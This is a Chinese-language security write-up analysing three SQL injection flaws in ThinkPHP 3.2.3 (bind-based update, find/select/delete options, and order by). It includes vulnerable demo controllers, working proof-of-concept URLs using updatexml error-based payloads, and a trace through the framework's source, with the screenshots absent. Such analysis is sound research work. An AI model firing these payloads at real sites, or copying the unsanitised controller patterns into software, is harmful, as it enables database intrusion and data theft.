ThinkPHP3.2.3【完整版】下载地址:http://www.thinkphp.cn/down/framework/p/2.html

    ThinkPHP 3.2.3
    环境配置
    Application/Common/Conf/config.php

    1. <?php
    2. return array(
    3. //'配置项'=>'配置值'
    4. 'DB_TYPE' => 'mysql', // 数据库类型
    5. 'DB_HOST' => '127.0.0.1', // 数据库地址
    6. 'DB_NAME' => 'test', // 数据库名
    7. 'DB_USER' => 'root', // 数据库用户
    8. 'DB_PWD' => '123456', // 数据库密码
    9. 'DB_PORT' => '3306', // 数据库端口
    10. 'DB_PREFIX' => '', // 数据库表前缀
    11. 'SHOW_PAGE_TRACE' => 'true', // 获取页面详细信息,方便调试
    12. );
    13. ?>

    1、update(bind) SQL注入漏洞
    版本:Thinkphp <= 3.2.3
    在Application/Home/Controller 下实例化UserController.class.php

    1. <?php
    2. namespace Home\Controller;
    3. use Think\Controller;
    4. class UserController extends Controller {
    5. public function index(){
    6. $User = M("test"); // test是test数据库下的表
    7. $user['id'] = I('id'); // $user传入where中,跟进id值修改name或age值
    8. $data['name'] = I('name');
    9. $data['age'] = I('age');
    10. $valu = $User->where($user)->save($data);
    11. var_dump($valu);
    12. }
    13. }

    POC:

    1. /index.php/Home/user?id[0]=bind&id[1]=0 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))&name[]=wang&age=1

    image.png

    全局代码分析
    /ThinkPHP/Common/functions.php,并没对BIND进行过滤
    image.png

    官方文档中:http://document.thinkphp.cn/manual_3_2.html#update_data 数据更新操作方式
    image.png

    看看数据是如何保存更新的
    跟进save函数,通过前面的数据处理解析服务端数据库中的数据字段信息,字段数据类型,再到_parseOptions表达式分析,获取到表名,数据表别名,记录操作的模型名称,再去调用回调函数进入update

    ThinkPHP/Library/Think/Model.class.php

    1. public function save($data='',$options=array()) {
    2. if(empty($data)) {
    3. // 没有传递数据,获取当前数据对象的值
    4. if(!empty($this->data)) {
    5. $data = $this->data;
    6. // 重置数据
    7. $this->data = array();
    8. }else{
    9. $this->error = L('_DATA_TYPE_INVALID_');
    10. return false;
    11. }
    12. }
    13. // 数据处理
    14. $data = $this->_facade($data);
    15. if(empty($data)){
    16. // 没有数据则不执行
    17. $this->error = L('_DATA_TYPE_INVALID_');
    18. return false;
    19. }
    20. // 分析表达式
    21. $options = $this->_parseOptions($options);
    22. $pk = $this->getPk();
    23. if(!isset($options['where']) ) {
    24. // 如果存在主键数据 则自动作为更新条件
    25. if (is_string($pk) && isset($data[$pk])) {
    26. $where[$pk] = $data[$pk];
    27. unset($data[$pk]);
    28. } elseif (is_array($pk)) {
    29. // 增加复合主键支持
    30. foreach ($pk as $field) {
    31. if(isset($data[$field])) {
    32. $where[$field] = $data[$field];
    33. } else {
    34. // 如果缺少复合主键数据则不执行
    35. $this->error = L('_OPERATION_WRONG_');
    36. return false;
    37. }
    38. unset($data[$field]);
    39. }
    40. }
    41. if(!isset($where)){
    42. // 如果没有任何更新条件则不执行
    43. $this->error = L('_OPERATION_WRONG_');
    44. return false;
    45. }else{
    46. $options['where'] = $where;
    47. }
    48. }
    49. if(is_array($options['where']) && isset($options['where'][$pk])){
    50. $pkValue = $options['where'][$pk];
    51. }
    52. if(false === $this->_before_update($data,$options)) {
    53. return false;
    54. }
    55. $result = $this->db->update($data,$options);
    56. if(false !== $result && is_numeric($result)) {
    57. if(isset($pkValue)) $data[$pk] = $pkValue;
    58. $this->_after_update($data,$options);
    59. }
    60. return $result;
    61. }

    前面是判断传入的数据是否为空的处理,跟进分析表达式处理_parseOptions
    image.png
    **
    _parseOptions方法,ThinkPHP/Library/Think/Model.class.php
    经过_parseOptions方法,返回options数组
    image.png

    再次回到save方法,跟进update方法
    image.png

    跟进update方法,ThinkPHP/Library/Think/Db/Driver.class.php,
    看看为什么会出现冒号
    image.png

    这里需要看看parseWhere里的parseWhereItem方法
    ThinkPHP/Library/Think/Db/Driver.class.php
    当使用bind方式操作数据,就会对sql语句进行拼接,这里就是冒号出现由来
    image.png

    再次回到update方法,看看最后返回的sql语句(确实出现冒号),最后传入execte方法
    image.png

    再跟进execte函数,ThinkPHP/Library/Think/Db/Driver.class.php
    image.png

    再回到parseWhereItem方法中,当id[0]=bind&id[1]=1时,拼接有冒号
    image.png

    当id[0]=bind&id[1]=0时,这里并没有执行,直接跳过了
    image.png

    对于后面传入id值确实是可以控制,但为了使得注入,需要将 :1 给替换掉
    image.png

    替换为0,传入id=0,也被替换以set后面参数为准,并且 : 也被替换
    image.png


    2、find_select_delete** **SQL注入漏洞
    版本:Thinkphp <= 3.2.3
    在Application/Home/Controller 下实例化TestSqlFindController.class.php

    1. <?php
    2. namespace Home\Controller;
    3. use Think\Controller;
    4. class TestSqlFindController extends Controller {
    5. public function index(){
    6. $data = M('test')->find(I('id'));
    7. # $data = M('test')->delete(I('id'));
    8. # $data = M('test')->select(I('id'));
    9. var_dump($data);
    10. }
    11. }

    POC:

    1. # find、delete、select函数
    2. /index.php/Home/TestSqlFind?id[where]=2 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

    image.png

    代码分析
    /Library/Think/Model.class.php,跟进find函数
    重点是_parseOptions函数,因为上面流程都不会执行
    image.png

    image.png

    /Library/Think/Model.class.php,再次跟进_parseOptions函数
    array_merge函数:把一个或多个数组合并为一个数组,也是漏洞触发点
    image.png

    image.png

    字段类型验证跳过
    image.png

    _options_filter方法为空,直接忽略
    image.png

    返回find函数中
    image.png

    /Library/Think/Db/Driver.class.php,跟进select函数
    image.png

    /Library/Think/Db/Driver.class.php,跟进buildSelectSql函数
    image.png
    image.png

    /Library/Think/Db/Driver.class.php,跟进parseSql函数
    直接将$options表达式进行拼接
    image.png
    除了find函数,select、delete都存在此问题
    add、addAll、save函数第二个参数可控,也存在此问题

    3、order by** **SQL注入漏洞
    版本:Thinkphp <= 3.2.3
    在Application/Home/Controller 下实例化TestOrderbyController.class.php

    1. <?php
    2. namespace Home\Controller;
    3. use Think\Controller;
    4. class TestOrderbyController extends Controller{
    5. public function index(){
    6. $order = I('get.order');
    7. $User = M('test') -> order($order) -> limit(3)-> select();
    8. dump($User);
    9. }
    10. }
    11. ?>


    POC:**

    /index.php/Home/TestOrderby?order=updatexml(1,concat(0x3a,user()),1)
    /index.php/Home/TestOrderby?order[updatexml(1,concat(0x3a,user()),1)]
    /index.php/Home/TestOrderby?order[updatexml(1,concat(0x3a,user()),1)]=#1
    

    image.png

    代码分析
    /Library/Think/Db/Driver.class.php,只对$order进行了判断,并没有进行过滤
    (我下载的Thinkphp 3.2.3,parseOrder代码很少,跟网上不太一样)
    image.png**